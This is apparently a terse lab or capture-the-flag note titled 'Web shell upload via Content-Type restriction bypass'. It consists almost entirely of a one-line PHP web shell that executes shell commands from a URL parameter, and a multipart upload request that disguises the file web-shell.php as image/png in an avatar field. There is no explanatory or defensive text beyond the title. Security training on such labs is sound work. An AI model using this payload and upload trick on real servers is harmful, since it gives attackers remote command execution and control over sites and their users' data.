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Web shell upload via Content-Type restriction bypass

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c
<?php system($_GET['cmd']); ?>

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c
------geckoformboundaryc4b08b6f9c9e4c0be3e0bd9eac6ef1c8
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: image/png


<?php system($_GET['cmd']); ?>

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